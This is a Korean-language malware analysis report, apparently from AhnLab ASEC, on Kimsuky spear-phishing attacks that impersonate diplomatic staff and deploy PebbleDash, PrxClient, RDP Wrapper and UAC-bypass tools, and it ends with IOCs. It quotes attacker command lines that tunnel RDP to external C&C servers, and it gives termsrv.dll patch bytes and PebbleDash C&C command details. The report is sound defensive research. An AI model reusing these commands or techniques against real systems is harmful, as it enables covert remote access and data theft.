Kimsuky 그룹의 외교 관련 종사자 사칭 공격 사례 (PebbleDash, PrxClient)

Kimsuky 그룹의 외교 관련 종사자 사칭 공격 사례 (PebbleDash, PrxClient)

AhnLab SEcurity intelligence Center(ASEC)은 과거 “PebbleDash와 RDP Wrapper를 악용한 Kimsuky 그룹의 최신 공격 사례 분석”[1] 포스팅을 통해 스피어 피싱 공격을 사용해 PebbleDash 악성코드를 설치하는 공격 사례를 공개하였다. 동일한 공격자는 2026년에도 공격을 지속하고 있으며 최근에는 외교 관련 종사자를 사칭한 스피어 피싱 공격을 진행하고 있다. 스피어 피싱 공격에서는 LNK 악성코드가 사용되며 이를 통해 PebbleDash 백도어 및 Proxy 악성코드인 PrxClient, RDP Wrapper, UACMe, KeyLogger 등 다양한 도구들을 설치하고 있다. 공격 과정에서 생성하는 미끼 문서 파일들은 외교 관련 내용을 포함하고 있다. 

 

Figure 1. 공격에 사용된 디코이 문서 파일

 

 

 

1. 공격 사례

1.1. 사례 – 1

첫 번째 공격 사례에서는 공격자가 사용한 것으로 추정되는 디코이 문서 파일과 LNK 그리고 파워쉘 스크립트는 깃허브에 업로드되어 있었다. “vvn31.zip” 파일 내부의 LNK 악성코드 “vvn. 31.pdf…………………………………………………………………………………………..lnk”가 실행되면 다음 명령을 통해 파워쉘 스크립트를 실행한다. 해당 스크립트는 드로퍼로서 “%PUBLIC%Downloads\DefenderUpdate.js” 경로에 다운로더 기능을 담당하는 JS 악성코드를 설치한다.

 

“DefenderUpdate.js”는 다운로더로서 C&C 서버에 접속해 추가 페이로드를 다운로드한 후 실행하는 기능을 수행한다. 참고로 공격 사례에서는 “capture.ps1″을 다운로드해 실행하는 명령도 존재하는데 해당 명령은 로컬에 존재하는 파일을 읽어서 C&C 서버에 전송하는 기능을 담당한다. 공격자는 정보 수집 기능을 담당하는 명령을 실행한 후 “capture.ps1″으로 수집한 정보를 탈취하였을 것으로 보인다.

 

Figure 2. 다운로더 및 업로더 스크립트

 

1.2. 사례 – 2

두 번째 공격 사례도 동일하게 LNK가 사용되었으며 “D.21 SEOUL.lnk”, “AIE NO. 178 SEOUL.lnk”라는 이름으로 유포되었다. 공격에 사용된 LNK 악성코드가 실행되면 자기 자신을 인자로 Mshta를 실행한다. 실제 내부에는 HTA 포맷의 악성 스크립트가 존재하기 때문에 Mshta를 통해 악성 루틴이 실행된다.

 

Figure 3. LNK 내부에 존재하는 악성 HTA 스크립트

 

Mshta를 통해 실행되는 스크립트는 드로퍼로 동작하는데 런처 기능을 담당하는 “%APPDATA%\Microsoft\Windows\Templates\Templates.js”와 런처가 실행하는 다운로더 “%APPDATA%\Microsoft\Windows\Templates\Templates.ps1″를 생성하고 “Windows Templates Update”라는 이름의 작업에 등록한다. 여기까지의 과정이 끝나면 디코이 문서 파일을 보여준다.

 

2. 추가 페이로드

2.1. 원격 제어

2.1.1. PebbleDash

공격자는 이후 PebbleDash를 설치하여 감염 시스템에 대한 제어를 탈취하였다. PebbleDash는 크게 두 종류가 사용되었는데 인자를 검사해 동작하는 초기 유형과 설정 데이터가 레지스트리에 저장된 유형이다. 첫 번째 유형은 인자 “QCvt5676hZXbg”와 함께 실행될 경우 설치 과정을 진행하는데 동일 경로에 “system32” 폴더를 생성하고 내부에 “smss.exe”라는 이름으로 자신을 복사한 후 “mJnZzaCN2RnFG” 인자로 실행한다. “mJnZzaCN2RnFG” 인자로 실행되면 C&C 서버에 접속해 명령에 따라 악성 행위를 수행할 수 있다. 

 

공격에 사용된 PebbleDash의 C&C 통신 방식과 지원하는 명령은 다음과 같다. 

 

URL 포맷 기능
page=<Random>&mode=<ConfigID>&DATA=<SessionID> 최초 등록
page=1&mode=<SessionID>2 명령 다운로드
page=2&mode=<SessionID>&DATA=<EncData> 결과 전송

Table 1. C&C 통신 시 URL 포맷

 

명령 코드 기능
0x09 드라이브 정보 전송
0x0A 프로세스 종료
0x0B 파일 다운로드
0x0C 파일 삭제
0x0D 파일 Wipe
0x0E 시스템 정보 전송
0x0F 프로세스 정보 전송
0x10 명령 실행 및 결과 전송
0x11 명령 실행 및 결과 전송 – 2
0x12 파일 이동
0x13 파일 업로드
0x14 파일 다운로드
0x15 대기
0x16 대기 시간 변경
0x17 현재 작업 경로 변경
0x18 디렉터 조회
0x19 Heartbeat
0x1A 파일 조회
0x1D 파일 패치
0x1E 파일 속성 변경
0x1F 프로세스 실행
0x23 설정 정보 전송
0x24 설정 정보 변경
0x25 연결 테스트
0x26 자가 삭제 및 종료

Table 2. 지원하는 명령 목록

 

두 번째 유형 또한 최종적으로는 위에서 다룬 유형과 실질적으로 동일한 PebbleDash를 설치하는 악성코드이다. 실행 시 인자로 “edcVFRtgbNHY6″를 필요로하며 내부에 존재하는 설정 파일을 복호화 및 압축 해제하여 레지스트리 키에 쓰고 인젝터를 “%SystemDirectory%\sqliom.dll” 경로에 생성한다. 

 

  • 설정 정보가 저장된 레지스트리 키 : HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security / “CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C”

 

Figure 4. 레지스트리에 저장된 C&C 서버 문자열

 

인젝터는 LSASS 프로세스에 PebbleDash를 인젝션하며 PebbleDash는 위의 설정 정보가 담긴 레지스트리 키에서 C&C 서버를 읽어와 C&C 서버와 통신한다. 통신 시 URL 포맷은 동일하며 지원하는 명령 또한 대부분 동일하다. 

 

2.1.2. 백도어 계정

공격자는 PebbleDash 외에도 RDP를 활용해 감염 시스템을 제어하였을 것으로 보이는데 이를 위해 RDP Wrapper를 설치하고 백도어 계정을 생성하였다. 공격 사례에서는 “administrator” 계정을 활성화하고 RDP 서비스를 활성화하는 “rdpwrap.bat”가 사용되었는데 이외에도 또 다른 백도어 계정 “adminini”가 사용되기도 하였다.

 

Figure 5. rdpwrap.bat 악성코드

 

사례 계정 이름 비밀번호
1 Administrator 12********@#
2 administrator r8*********ca
3 adminini 09******21

Table 3. 공격 사례에서 확인된 백도어 계정

 

일반적으로 윈도우 데스크톱 환경에서는 서버와 달리 RDP 연결 시 하나의 세션만 지원한다. 이에 따라 다른 사용자라고 하더라도 하나의 시스템에는 하나의 세션만 지원하기 때문에 만약 공격자가 원격으로 시스템에 접속할 경우 기존 사용자는 연결이 끊기게 된다. 공격자는 RDP Patcher를 함께 사용하였는데 RDP Patcher는 기존 정상 “termsrv.dll”을 읽어 “C:\temp.dll” 경로에 패치한 결과를 저장한 후 다시 System32 경로의 “termsrv.dll” 파일로 변경한다. 이에 따라 감염 시스템에서는 멀티 세션이 지원된다.

 

  • 정상 termsrv.dll의 CDefPolicy::Query() 함수 루틴 : 39 81 3C 06 00 00 …
  • 패치된 termsrv.dll의 CDefPolicy::Query() 함수 루틴 : B8 00 01 00 00 89 81 38 06 00 00 90

 

2.2. Proxy

2.2.1. PrxClient

공격자가 제작한 것으로 추정되는 Proxy 도구도 사용되었는데 여기에서는 뮤텍스 이름을 참고해 PrxClient로 분류한다. 

 

Figure 6. PrxClient의 시작 루틴

 

PrxClient는 인자로 전달받은 C&C 서버와 로컬의 포트를 중계하는데 공격자는 RDP로 감염 시스템을 제어하기 위한 목적으로 이를 사용한 것으로 추정된다.

 

인자 순서 기능
1 C&C Heatbeat Port
2 C&C IP
3 C&C Port
4 Local IP
5 Local Port
6 Heartbeat 데이터

Table 4. 인자 사용법

 

Figure 7. PrxClient 프록시 설치 로그

 

실제 공격 사례에서도 다음과 같은 명령들이 확인되었다. 

 

> C:\users\%ASD%\downloads\125.tmp 6060 153.75.233[.]17 8080 127.0.0[.]2 3389 2

> c:\users\%ASD%\downloads\rpc.exe 6060 153.75.233[.]17 8080 127.0.0[.]2 3389 1

> C:\Users\%ASD%\Documents\taskxys.exe 6060 173.214.170[.]58 8080 127.0.0[.]2 3389 04

 

2.3. 권한 상승 도구

UAC Bypass 도구는 이전 사례들과 동일하게 최신 사례에서도 지속적으로 사용되고 있다. 과거 사례들과의 차이점이라면 UACMe를 기반으로 제작한 형태 외에도 또 다른 오픈 소스 PoC를 사용하였다는 점이다. SspiUacBypass [2] 프로젝트는 SSPI의 NTLM Datagram Context를 조작해 UAC를 우회하는 기법을 사용하는 도구이다.

 

Figure 8. UAC Bypass 도구인 SspiUacBypass

 

2.4. 기타

공격 사례에서는 이외에도 다양한 도구들이 사용되었는데 대표적으로 키로거와 다운로더가 있다. 키로거는 “%TEMP%\Log.<사용자 이름>.BIN” 경로에 사용자의 키 입력을 저장한 후 C&C 서버에 전송하는 기능도 포함되어 있다. 다운로더는 단순하게 난독화된 파워쉘 명령을 실행하는 기능을 수행한다.

 

Figure 9. 난독화된 파워쉘 다운로드 명령

 

해당 주소는 현재 기준 다운로드가 불가하다. 하지만 nwfgy.txt 대신 ASD 로그 기준 다른 공격 사례에서 확인된 주소에서 “swas.txt”, “sadadf.txt” 이름의 파워쉘 스크립트가 사용되었는데 “rdpwrap_new.bat” 이름의 파일을 실행하거나 System32 경로 내의 파일 목록을 업로드하는 기능을 담당한다.

 

Figure 10. 공격에 사용된 파워쉘 스크립트

 

3. 결론

최근 Kimsuky 공격자는 왼교 관련 종사자들을 대상으로 스피어 피싱 공격을 진행하고 있다. 문서 파일을 위장하여 유포되기 때문에 사용자는 문서 파일로 생각해 첨부 파일을 다운로드해 실행할 수 있으며 이 경우 시스템에 존재하는 사용자 정보가 탈취될 수 있다.

사용자들은 메일 첨부 파일뿐만 아니라 출처가 불분명한 실행 파일을 각별히 주의해야 한다. 또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

 

MD5

00f27b3cf8817313aafdfc29ff238153
029db651367bb1eac0a85bd826afe420
07010ef323ff1a6efebf9c59f8afb35f
0a5f8bb2aebb296b6a5048ca5b85d8ad
0c0a44de58b0a47b749411a9c2fe178e
URL

http[:]//167[.]88[.]165[.]122/login[.]asp
http[:]//edcvbgtrf[.]medianewsonline[.]com/1t32[.]exe
http[:]//edcvbgtrf[.]medianewsonline[.]com/rdpwrap[.]bat
http[:]//edcvbgtrf[.]medianewsonline[.]com/rdpwrap[.]dll
http[:]//edcvbgtrf[.]medianewsonline[.]com/rpc[.]exe
FQDN

edcvbgtrf[.]medianewsonline[.]com
fsfhsfgsfsnxcvbasfsgsrhsf234fsd[.]mywebcommunity[.]org
mpo4wj[.]scienceontheweb[.]net
ng[.]mofagov[.]com
p563q1[.]sportsontheweb[.]net
IP

103[.]212[.]120[.]253
153[.]75[.]233[.]17
173[.]214[.]170[.]58

AhnLab TIP를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.